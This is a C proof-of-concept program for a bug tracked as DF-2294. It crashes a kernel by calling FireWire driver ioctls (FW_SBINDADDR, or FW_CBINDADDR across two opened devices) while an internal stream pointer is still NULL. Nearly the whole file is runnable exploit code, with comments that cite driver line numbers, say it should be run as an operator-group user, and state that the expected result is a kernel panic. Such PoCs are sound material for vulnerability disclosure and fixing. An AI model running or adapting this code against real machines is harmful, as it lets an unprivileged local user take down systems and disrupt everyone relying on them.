DF-2294 / poc_2294.c
/* * DF-2294 PoC -- FW_SBINDADDR / FW_CBINDADDR dereference d->ir while NULL. * * fw_ioctl (fwdev.c:410) takes ir = d->ir (fwdev.c:443) which stays NULL * until a successful FW_SRSTREAM. FW_SBINDADDR then executes * `fwb->sub = ir->dmach;` (fwdev.c:617) -> load from NULL+16 -> panic. * FW_CBINDADDR executes STAILQ_REMOVE(&ir->binds, ...) (fwdev.c:600) * with ir == NULL -> load/store at NULL+offsetof(fw_xferq, binds). * * CBINDADDR can only reach the deref when fw_bindlookup() finds a match, * i.e. another fd already added a bind (which itself required a non-NULL * d->ir on that fd); so the cb mode uses two fds on the same device. * * Run as an operator-group user. Expected: kernel panic, no ioctl return. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> struct fw_isochreq { unsigned char ch:6, tag:2; }; struct fw_bufspec { unsigned int nchunk; unsigned int npacket; unsigned int psize; }; struct fw_isobufreq { struct fw_bufspec tx, rx; }; struct fw_addr { unsigned long hi; unsigned long lo; }; struct fw_asybindreq { struct fw_addr start; unsigned long len; }; #define FW_SSTBUF _IOWR('S', 86, struct fw_isobufreq) #define FW_SRSTREAM _IOWR('S', 88, struct fw_isochreq) #define FW_SBINDADDR _IOWR('S', 3, struct fw_asybindreq) #define FW_CBINDADDR _IOWR('S', 4, struct fw_asybindreq) #define BIND_HI 0x1111UL #define BIND_LO 0x22223333UL #define BIND_LEN 0x1000UL int main(int argc, char **argv) { struct fw_asybindreq b; struct fw_isobufreq ib; struct fw_isochreq ich; const char *mode = (argc > 1) ? argv[1] : "sbind"; int fd, fd2, rc; memset(&b, 0, sizeof(b)); b.start.hi = BIND_HI; b.start.lo = BIND_LO; b.len = BIND_LEN; if (strcmp(mode, "sbind") == 0) { /* single open + single ioctl */ printf("DF-2294[sbind]: open + FW_SBINDADDR with d->ir==NULL\n"); fd = open("/dev/fw0.0", O_RDWR); if (fd < 0) { perror("open"); return 1; } printf("DF-2294: fd=%d (uid=%d gid=%d), issuing FW_SBINDADDR\n", fd, getuid(), getgid()); rc = ioctl(fd, FW_SBINDADDR, &b); printf("DF-2294: ioctl rc=%d errno=%d -- NO PANIC\n", rc, errno); return 2; } /* cbind mode: fd1 does a legal setup so a real bind exists in * fc->binds; fd2 (d->ir == NULL) then issues FW_CBINDADDR and * fwdev.c:600 touches &ir->binds == NULL+offsetof. */ printf("DF-2294[cbind]: fd1 setup (SSTBUF+SRSTREAM+SBINDADDR), " "fd2 FW_CBINDADDR with d->ir==NULL\n"); fd = open("/dev/fw0.0", O_RDWR); if (fd < 0) { perror("open fd1"); return 1; } memset(&ib, 0, sizeof(ib)); ib.rx.nchunk = 4; ib.rx.npacket = 8; ib.rx.psize = 512; if ((rc = ioctl(fd, FW_SSTBUF, &ib)) != 0) { perror("fd1 FW_SSTBUF"); return 1; } memset(&ich, 0, sizeof(ich)); ich.ch = 1; if ((rc = ioctl(fd, FW_SRSTREAM, &ich)) != 0) { perror("fd1 FW_SRSTREAM"); return 1; } printf("DF-2294: fd1=%d stream up, adding bind hi=%#lx lo=%#lx\n", fd, BIND_HI, BIND_LO); if ((rc = ioctl(fd, FW_SBINDADDR, &b)) != 0) { perror("fd1 FW_SBINDADDR"); return 1; } printf("DF-2294: bind registered via real fw_bindadd\n"); fd2 = open("/dev/fw0.1", O_RDWR); if (fd2 < 0) { perror("open fd2"); return 1; } printf("DF-2294: fd2=%d (fresh open, d->ir==NULL), issuing " "FW_CBINDADDR\n", fd2); rc = ioctl(fd2, FW_CBINDADDR, &b); printf("DF-2294: fd2 ioctl rc=%d errno=%d -- NO PANIC\n", rc, errno); return 2; } |